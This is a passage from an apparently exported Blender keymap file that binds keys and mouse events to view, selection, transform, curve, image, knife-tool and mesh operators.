{"type": 'C', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("center", True), ], }, ), ("wm.call_menu_pie", {"type": 'ACCENT_GRAVE', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_view_pie'), ], }, ), ("view3d.navigate", {"type": 'ACCENT_GRAVE', "value": 'PRESS', "shift": True, "repeat": True}, None), ("view3d.view_camera", {"type": 'NUMPAD_0', "value": 'PRESS', "repeat": True}, None), ("view3d.view_axis", {"type": 'NUMPAD_1', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'FRONT'), ], }, ), ("view3d.view_orbit", {"type": 'NUMPAD_2', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'ORBITDOWN'), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_3', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'RIGHT'), ], }, ), ("view3d.view_orbit", {"type": 'NUMPAD_4', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'ORBITLEFT'), ], }, ), ("view3d.view_persportho", {"type": 'NUMPAD_5', "value": 'PRESS', "repeat": True}, None), ("view3d.view_orbit", {"type": 'NUMPAD_6', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'ORBITRIGHT'), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_7', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'TOP'), ], }, ), ("view3d.view_orbit", {"type": 'NUMPAD_8', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'ORBITUP'), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_1', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'BACK'), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_3', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'LEFT'), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_7', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'BOTTOM'), ], }, ), ("view3d.view_pan", {"type": 'NUMPAD_2', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'PANDOWN'), ], }, ), ("view3d.view_pan", {"type": 'NUMPAD_4', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'PANLEFT'), ], }, ), ("view3d.view_pan", {"type": 'NUMPAD_6', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'PANRIGHT'), ], }, ), ("view3d.view_pan", {"type": 'NUMPAD_8', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("type", 'PANUP'), ], }, ), ("view3d.view_roll", {"type": 'NUMPAD_4', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("type", 'LEFT'), ], }, ), ("view3d.view_roll", {"type": 'NUMPAD_6', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("type", 'RIGHT'), ], }, ), ("view3d.view_orbit", {"type": 'NUMPAD_9', "value": 'PRESS', "repeat": True}, {"properties": [("angle", 3.1415927), ("type", 'ORBITRIGHT'), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_1', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("type", 'FRONT'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_3', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("type", 'RIGHT'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_7', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("type", 'TOP'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_1', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("type", 'BACK'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_3', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("type", 'LEFT'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NUMPAD_7', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("type", 'BOTTOM'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'EVT_TWEAK_M', "value": 'NORTH', "alt": True}, {"properties": [("type", 'TOP'), ("relative", True), ], }, ), ("view3d.view_axis", {"type": 'EVT_TWEAK_M', "value": 'SOUTH', "alt": True}, {"properties": [("type", 'BOTTOM'), ("relative", True), ], }, ), ("view3d.view_axis", {"type": 'EVT_TWEAK_M', "value": 'EAST', "alt": True}, {"properties": [("type", 'RIGHT'), ("relative", True), ], }, ), ("view3d.view_axis", {"type": 'EVT_TWEAK_M', "value": 'WEST', "alt": True}, {"properties": [("type", 'LEFT'), ("relative", True), ], }, ), ("view3d.view_center_pick", {"type": 'MIDDLEMOUSE', "value": 'CLICK', "alt": True}, None), ("view3d.ndof_orbit_zoom", {"type": 'NDOF_MOTION', "value": 'ANY'}, None), ("view3d.ndof_orbit", {"type": 'NDOF_MOTION', "value": 'ANY', "ctrl": True}, None), ("view3d.ndof_pan", {"type": 'NDOF_MOTION', "value": 'ANY', "shift": True}, None), ("view3d.ndof_all", {"type": 'NDOF_MOTION', "value": 'ANY', "shift": True, "ctrl": True}, None), ("view3d.view_selected", {"type": 'NDOF_BUTTON_FIT', "value": 'PRESS'}, {"properties": [("use_all_regions", False), ], }, ), ("view3d.view_roll", {"type": 'NDOF_BUTTON_ROLL_CCW', "value": 'PRESS'}, {"properties": [("type", 'LEFT'), ], }, ), ("view3d.view_roll", {"type": 'NDOF_BUTTON_ROLL_CCW', "value": 'PRESS'}, {"properties": [("type", 'RIGHT'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_FRONT', "value": 'PRESS'}, {"properties": [("type", 'FRONT'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_BACK', "value": 'PRESS'}, {"properties": [("type", 'BACK'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_LEFT', "value": 'PRESS'}, {"properties": [("type", 'LEFT'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_RIGHT', "value": 'PRESS'}, {"properties": [("type", 'RIGHT'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_TOP', "value": 'PRESS'}, {"properties": [("type", 'TOP'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_BOTTOM', "value": 'PRESS'}, {"properties": [("type", 'BOTTOM'), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_FRONT', "value": 'PRESS', "shift": True}, {"properties": [("type", 'FRONT'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_RIGHT', "value": 'PRESS', "shift": True}, {"properties": [("type", 'RIGHT'), ("align_active", True), ], }, ), ("view3d.view_axis", {"type": 'NDOF_BUTTON_TOP', "value": 'PRESS', "shift": True}, {"properties": [("type", 'TOP'), ("align_active", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK'}, {"properties": [("deselect_all", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True}, {"properties": [("toggle", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "ctrl": True}, {"properties": [("center", True), ("object", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "alt": True}, {"properties": [("enumerate", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "ctrl": True}, {"properties": [("extend", True), ("toggle", True), ("center", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "ctrl": True, "alt": True}, {"properties": [("center", True), ("enumerate", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "alt": True}, {"properties": [("toggle", True), ("enumerate", True), ], }, ), ("view3d.select", {"type": 'LEFTMOUSE', "value": 'CLICK', "shift": True, "ctrl": True, "alt": True}, {"properties": [("toggle", True), ("center", True), ("enumerate", True), ], }, ), ("view3d.select_box", {"type": 'B', "value": 'PRESS', "repeat": True}, None), ("view3d.select_lasso", {"type": 'EVT_TWEAK_R', "value": 'ANY', "ctrl": True}, {"properties": [("mode", 'ADD'), ], }, ), ("view3d.select_lasso", {"type": 'EVT_TWEAK_R', "value": 'ANY', "shift": True, "ctrl": True}, {"properties": [("mode", 'SUB'), ], }, ), ("view3d.select_circle", {"type": 'C', "value": 'PRESS', "repeat": True}, None), ("view3d.zoom_border", {"type": 'B', "value": 'PRESS', "shift": True, "repeat": True}, None), ("view3d.render_border", {"type": 'B', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("view3d.clear_render_border", {"type": 'B', "value": 'PRESS', "ctrl": True, "alt": True, "repeat": True}, None), ("view3d.camera_to_view", {"type": 'NUMPAD_0', "value": 'PRESS', "ctrl": True, "alt": True, "repeat": True}, None), ("view3d.object_as_camera", {"type": 'NUMPAD_0', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("view3d.copybuffer", {"type": 'C', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("view3d.pastebuffer", {"type": 'V', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("wm.call_menu_pie", {"type": 'S', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_snap_pie'), ], }, ), ("transform.translate", {"type": 'G', "value": 'PRESS', "repeat": True}, None), ("transform.translate", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, { "active":False, }, ), ("transform.rotate", {"type": 'R', "value": 'PRESS', "repeat": True}, None), ("transform.resize", {"type": 'S', "value": 'PRESS', "repeat": True}, None), ("transform.bend", {"type": 'W', "value": 'PRESS', "shift": True, "repeat": True}, None), ("transform.tosphere", {"type": 'S', "value": 'PRESS', "shift": True, "alt": True, "repeat": True}, None), ("transform.shear", {"type": 'S', "value": 'PRESS', "shift": True, "ctrl": True, "alt": True, "repeat": True}, None), ("transform.mirror", {"type": 'M', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("wm.context_toggle", {"type": 'TAB', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("data_path", 'tool_settings.use_snap'), ], }, ), ("wm.call_panel", {"type": 'TAB', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_PT_snapping'), ("keep_open", False), ], }, ), ("object.transform_axis_target", {"type": 'T', "value": 'PRESS', "shift": True, "repeat": True}, None), ("transform.skin_resize", {"type": 'A', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("view3d.copybuffer", {"type": 'C', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("view3d.pastebuffer", {"type": 'V', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("wm.context_toggle", {"type": 'ACCENT_GRAVE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("data_path", 'space_data.show_gizmo_tool'), ], }, ), ("wm.call_menu_pie", {"type": 'PERIOD', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_pivot_pie'), ], }, ), ("wm.call_menu_pie", {"type": 'COMMA', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_orientations_pie'), ], }, ), ("wm.context_toggle", {"type": 'ACCENT_GRAVE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("data_path", 'space_data.show_gizmo_tool'), ], }, ), ("wm.call_menu_pie", {"type": 'Z', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_shading_pie'), ], }, ), ("view3d.toggle_shading", {"type": 'Z', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("type", 'WIREFRAME'), ], }, ), ("view3d.toggle_xray", {"type": 'Z', "value": 'PRESS', "alt": True, "repeat": True}, None), ("wm.context_toggle", {"type": 'Z', "value": 'PRESS', "shift": True, "alt": True, "repeat": True}, {"properties": [("data_path", 'space_data.overlay.show_overlays'), ], }, ), ("wm.tool_set_by_name", {"type": 'W', "value": 'PRESS', "repeat": True}, None), ], }, ), ("3D View Tool: Move", {"space_type": 'VIEW_3D', "region_type": 'WINDOW'}, {"items": [("transform.translate", {"type": 'EVT_TWEAK_L', "value": 'ANY', "ctrl": True}, {"properties": [("release_confirm", True), ], }, ), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, None), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY', "shift": True}, {"properties": [("mode", 'XOR'), ], }, ), ], }, ), ("3D View Tool: Rotate", {"space_type": 'VIEW_3D', "region_type": 'WINDOW'}, {"items": [("transform.rotate", {"type": 'EVT_TWEAK_L', "value": 'ANY', "ctrl": True}, {"properties": [("release_confirm", True), ], }, ), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, None), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY', "shift": True}, {"properties": [("mode", 'XOR'), ], }, ), ], }, ), ("3D View Tool: Scale", {"space_type": 'VIEW_3D', "region_type": 'WINDOW'}, {"items": [("transform.resize", {"type": 'EVT_TWEAK_L', "value": 'ANY', "ctrl": True}, {"properties": [("release_confirm", True), ], }, ), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, None), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY', "shift": True}, {"properties": [("mode", 'XOR'), ], }, ), ], }, ), ("3D View Tool: Select Box", {"space_type": 'VIEW_3D', "region_type": 'WINDOW'}, {"items": [("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, None), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY', "shift": True}, {"properties": [("mode", 'XOR'), ], }, ), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY', "ctrl": True}, {"properties": [("mode", 'SUB'), ], }, ), ("view3d.select_box", {"type": 'EVT_TWEAK_L', "value": 'ANY', "shift": True, "ctrl": True}, {"properties": [("mode", 'AND'), ], }, ), ], }, ), ("3D View Tool: Transform", {"space_type": 'VIEW_3D', "region_type": 'WINDOW'}, {"items": [("transform.from_gizmo", {"type": 'EVT_TWEAK_L', "value": 'ANY'}, { "active":False, }, ), ], }, ), ("Curve", {"space_type": 'EMPTY', "region_type": 'WINDOW'}, {"items": [("wm.call_menu", {"type": 'A', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_curve_add'), ], }, ), ("curve.handle_type_set", {"type": 'V', "value": 'PRESS', "repeat": True}, None), ("curve.vertex_add", {"type": 'RIGHTMOUSE', "value": 'CLICK', "oskey": True}, None), ("curve.vertex_add", {"type": 'RIGHTMOUSE', "value": 'CLICK', "ctrl": True}, None), ("curve.select_all", {"type": 'A', "value": 'PRESS', "repeat": True}, {"properties": [("action", 'SELECT'), ], }, ), ("curve.select_all", {"type": 'A', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("action", 'DESELECT'), ], }, ), ("curve.select_all", {"type": 'I', "value": 'PRESS', "oskey": True, "repeat": True}, {"properties": [("action", 'INVERT'), ], }, ), ("curve.select_all", {"type": 'I', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("action", 'INVERT'), ], }, ), ("curve.select_all", {"type": 'A', "value": 'DOUBLE_CLICK'}, {"properties": [("action", 'DESELECT'), ], }, ), ("curve.select_row", {"type": 'R', "value": 'PRESS', "shift": True, "repeat": True}, None), ("curve.select_more", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("curve.select_more", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("curve.select_less", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("curve.select_less", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("curve.select_linked", {"type": 'L', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("curve.select_linked", {"type": 'L', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("curve.select_similar", {"type": 'G', "value": 'PRESS', "shift": True, "repeat": True}, None), ("curve.select_linked_pick", {"type": 'L', "value": 'PRESS', "repeat": True}, {"properties": [("deselect", False), ], }, ), ("curve.select_linked_pick", {"type": 'L', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("deselect", True), ], }, ), ("curve.shortest_path_pick", {"type": 'LEFTMOUSE', "value": 'CLICK', "oskey": True}, None), ("curve.shortest_path_pick", {"type": 'LEFTMOUSE', "value": 'CLICK', "ctrl": True}, None), ("curve.separate", {"type": 'P', "value": 'PRESS', "repeat": True}, None), ("curve.split", {"type": 'Y', "value": 'PRESS', "repeat": True}, None), ("curve.extrude_move", {"type": 'E', "value": 'PRESS', "repeat": True}, { "active":False, }, ), ("curve.duplicate_move", {"type": 'D', "value": 'PRESS', "shift": True, "repeat": True}, None), ("curve.make_segment", {"type": 'F', "value": 'PRESS', "repeat": True}, { "active":False, }, ), ("curve.cyclic_toggle", {"type": 'C', "value": 'PRESS', "alt": True, "repeat": True}, None), ("wm.call_menu", {"type": 'X', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_curve_delete'), ], }, ), ("wm.call_menu", {"type": 'DEL', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'VIEW3D_MT_edit_curve_delete'), ], }, ), ("curve.dissolve_verts", {"type": 'X', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("curve.dissolve_verts", {"type": 'X', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("curve.dissolve_verts", {"type": 'DEL', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("curve.dissolve_verts", {"type": 'DEL', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("curve.tilt_clear", {"type": 'T', "value": 'PRESS', "alt": True, "repeat": True}, None), ("transform.tilt", {"type": 'T', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("transform.tilt", {"type": 'T', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("transform.transform", {"type": 'S', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("mode", 'CURVE_SHRINKFATTEN'), ], }, ), ("curve.reveal", {"type": 'H', "value": 'PRESS', "alt": True, "repeat": True}, None), ("curve.hide", {"type": 'H', "value": 'PRESS', "repeat": True}, {"properties": [("unselected", False), ], }, ), ("curve.hide", {"type": 'H', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("unselected", True), ], }, ), ("curve.normals_make_consistent", {"type": 'N', "value": 'PRESS', "shift": True, "repeat": True}, None), ("object.vertex_parent_set", {"type": 'P', "value": 'PRESS', "oskey": True, "repeat": True}, None), ("object.vertex_parent_set", {"type": 'P', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("wm.call_menu", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_edit_curve_context_menu'), ], "active":False, }, ), ("wm.call_menu", {"type": 'H', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_hook'), ], }, ), ("wm.call_menu_pie", {"type": 'O', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("name", 'VIEW3D_MT_proportional_editing_falloff_pie'), ], }, ), ("wm.context_toggle", {"type": 'O', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'tool_settings.use_proportional_edit'), ], }, ), ("wm.context_toggle", {"type": 'O', "value": 'PRESS', "alt": True, "repeat": True}, {"properties": [("data_path", 'tool_settings.use_proportional_connected'), ], }, ), ("wm.call_menu_pie", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, {"properties": [("name", 'VIEW3D_MT_maya_pie_menu'), ], }, ), ("wm.tool_set_by_id", {"type": 'W', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.move'), ], }, ), ("wm.tool_set_by_id", {"type": 'R', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.scale'), ], }, ), ("wm.tool_set_by_id", {"type": 'E', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'builtin.rotate'), ], }, ), ], }, ), ("Image", {"space_type": 'IMAGE_EDITOR', "region_type": 'WINDOW'}, {"items": [("image.view_all", {"type": 'HOME', "value": 'PRESS', "repeat": True}, None), ("image.view_all", {"type": 'HOME', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("fit_view", True), ], }, ), ("image.view_selected", {"type": 'NUMPAD_PERIOD', "value": 'PRESS', "repeat": True}, { "active":False, }, ), ("image.view_pan", {"type": 'MIDDLEMOUSE', "value": 'PRESS', "alt": True}, None), ("image.view_pan", {"type": 'MIDDLEMOUSE', "value": 'PRESS', "shift": True}, None), ("image.view_pan", {"type": 'TRACKPADPAN', "value": 'ANY'}, None), ("image.view_all", {"type": 'NDOF_BUTTON_FIT', "value": 'PRESS'}, None), ("image.view_ndof", {"type": 'NDOF_MOTION', "value": 'ANY'}, None), ("image.view_zoom_in", {"type": 'WHEELINMOUSE', "value": 'PRESS'}, None), ("image.view_zoom_out", {"type": 'WHEELOUTMOUSE', "value": 'PRESS'}, None), ("image.view_zoom_in", {"type": 'NUMPAD_PLUS', "value": 'PRESS', "repeat": True}, None), ("image.view_zoom_out", {"type": 'NUMPAD_MINUS', "value": 'PRESS', "repeat": True}, None), ("image.view_zoom", {"type": 'RIGHTMOUSE', "value": 'PRESS', "alt": True}, None), ("image.view_zoom", {"type": 'TRACKPADZOOM', "value": 'ANY'}, None), ("image.view_zoom", {"type": 'TRACKPADPAN', "value": 'ANY', "ctrl": True}, None), ("image.view_zoom_border", {"type": 'B', "value": 'PRESS', "shift": True, "repeat": True}, None), ("image.view_zoom_ratio", {"type": 'NUMPAD_8', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("ratio", 8.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_4', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("ratio", 4.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_2', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("ratio", 2.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_8', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("ratio", 8.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_4', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("ratio", 4.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_2', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("ratio", 2.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_1', "value": 'PRESS', "repeat": True}, {"properties": [("ratio", 1.0), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_2', "value": 'PRESS', "repeat": True}, {"properties": [("ratio", 0.5), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_4', "value": 'PRESS', "repeat": True}, {"properties": [("ratio", 0.25), ], }, ), ("image.view_zoom_ratio", {"type": 'NUMPAD_8', "value": 'PRESS', "repeat": True}, {"properties": [("ratio", 0.125), ], }, ), ("image.change_frame", {"type": 'LEFTMOUSE', "value": 'PRESS'}, None), ("image.sample", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, None), ("image.curves_point_set", {"type": 'RIGHTMOUSE', "value": 'PRESS', "ctrl": True}, {"properties": [("point", 'BLACK_POINT'), ], }, ), ("image.curves_point_set", {"type": 'RIGHTMOUSE', "value": 'PRESS', "shift": True}, {"properties": [("point", 'WHITE_POINT'), ], }, ), ("object.mode_set", {"type": 'TAB', "value": 'PRESS', "repeat": True}, {"properties": [("mode", 'EDIT'), ("toggle", True), ], }, ), ("wm.context_set_int", {"type": 'ONE', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 0), ], }, ), ("wm.context_set_int", {"type": 'TWO', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 1), ], }, ), ("wm.context_set_int", {"type": 'THREE', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 2), ], }, ), ("wm.context_set_int", {"type": 'FOUR', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 3), ], }, ), ("wm.context_set_int", {"type": 'FIVE', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 4), ], }, ), ("wm.context_set_int", {"type": 'SIX', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 5), ], }, ), ("wm.context_set_int", {"type": 'SEVEN', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 6), ], }, ), ("wm.context_set_int", {"type": 'EIGHT', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 7), ], }, ), ("wm.context_set_int", {"type": 'NINE', "value": 'PRESS', "repeat": True}, {"properties": [("data_path", 'space_data.image.render_slots.active_index'), ("value", 8), ], }, ), ("wm.call_menu_pie", {"type": 'PERIOD', "value": 'PRESS', "repeat": True}, {"properties": [("name", 'IMAGE_MT_pivot_pie'), ], }, ), ("image.render_border", {"type": 'B', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("image.clear_render_border", {"type": 'B', "value": 'PRESS', "ctrl": True, "alt": True, "repeat": True}, None), ("image.view_selected", {"type": 'F', "value": 'PRESS', "repeat": True}, None), ], }, ), ("Knife Tool Modal Map", {"space_type": 'EMPTY', "region_type": 'WINDOW', "modal": True}, {"items": [("CANCEL", {"type": 'ESC', "value": 'PRESS', "any": True, "repeat": True}, None), ("PANNING", {"type": 'MIDDLEMOUSE', "value": 'ANY', "any": True}, None), ("CANCEL", {"type": 'LEFTMOUSE', "value": 'DOUBLE_CLICK', "any": True}, None), ("ADD_CUT", {"type": 'LEFTMOUSE', "value": 'ANY', "any": True}, None), ("CANCEL", {"type": 'RIGHTMOUSE', "value": 'PRESS', "any": True}, { "active":False, }, ), ("CONFIRM", {"type": 'RET', "value": 'PRESS', "any": True, "repeat": True}, None), ("CONFIRM", {"type": 'NUMPAD_ENTER', "value": 'PRESS', "any": True, "repeat": True}, None), ("CONFIRM", {"type": 'SPACE', "value": 'PRESS', "any": True, "repeat": True}, None), ("NEW_CUT", {"type": 'E', "value": 'PRESS', "repeat": True}, None), ("SNAP_MIDPOINTS_ON", {"type": 'LEFT_CTRL', "value": 'PRESS', "any": True, "repeat": True}, None), ("SNAP_MIDPOINTS_OFF", {"type": 'LEFT_CTRL', "value": 'RELEASE', "any": True}, None), ("SNAP_MIDPOINTS_ON", {"type": 'RIGHT_CTRL', "value": 'PRESS', "any": True, "repeat": True}, None), ("SNAP_MIDPOINTS_OFF", {"type": 'RIGHT_CTRL', "value": 'RELEASE', "any": True}, None), ("IGNORE_SNAP_ON", {"type": 'LEFT_SHIFT', "value": 'PRESS', "any": True, "repeat": True}, None), ("IGNORE_SNAP_OFF", {"type": 'LEFT_SHIFT', "value": 'RELEASE', "any": True}, None), ("IGNORE_SNAP_ON", {"type": 'RIGHT_SHIFT', "value": 'PRESS', "any": True, "repeat": True}, None), ("IGNORE_SNAP_OFF", {"type": 'RIGHT_SHIFT', "value": 'RELEASE', "any": True}, None), ("ANGLE_SNAP_TOGGLE", {"type": 'C', "value": 'PRESS', "repeat": True}, None), ("CUT_THROUGH_TOGGLE", {"type": 'Z', "value": 'PRESS', "repeat": True}, None), ("NEW_CUT", {"type": 'RIGHTMOUSE', "value": 'PRESS'}, None), ], }, ), ("Mesh", {"space_type": 'EMPTY', "region_type": 'WINDOW'}, {"items": [("mesh.loopcut_slide", {"type": 'R', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("TRANSFORM_OT_edge_slide", [("release_confirm", False), ], ), ], }, ), ("mesh.offset_edge_loops_slide", {"type": 'R', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, {"properties": [("TRANSFORM_OT_edge_slide", [("release_confirm", False), ], ), ], }, ), ("mesh.inset", {"type": 'I', "value": 'PRESS', "repeat": True}, None), ("mesh.bevel", {"type": 'B', "value": 'PRESS', "ctrl": True, "repeat": True}, None), ("mesh.bevel", {"type": 'B', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": True}, None), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "repeat": True}, {"properties": [("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_extend", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_extend", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "shift": True, "repeat": True}, {"properties": [("use_extend", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'VERT'), ], }, ), ("mesh.select_mode", {"type": 'TWO', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'EDGE'), ], }, ), ("mesh.select_mode", {"type": 'THREE', "value": 'PRESS', "ctrl": True, "repeat": True}, {"properties": [("use_expand", True), ("type", 'FACE'), ], }, ), ("mesh.select_mode", {"type": 'ONE', "value": 'PRESS', "shift": True, "ctrl": True, "repeat": 